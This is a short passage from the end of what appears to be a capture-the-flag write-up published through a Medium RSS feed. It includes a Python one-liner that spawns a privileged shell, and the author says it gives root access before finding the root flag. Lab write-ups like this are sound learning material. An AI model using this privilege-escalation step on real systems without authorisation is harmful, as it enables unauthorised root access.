‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’</p><p>This command makes us root users on the system. After that, we just have to find the root flag that’s it.</p><p>If you like my write-up, make sure to follow me for more updates and give me a clap. Don’t forget to leave a comment on what you think about this write-up.</p><p><strong>Connect with me: </strong><a href="https://x.com/a_m_kokate"><strong>x.com</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5329541fb0f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>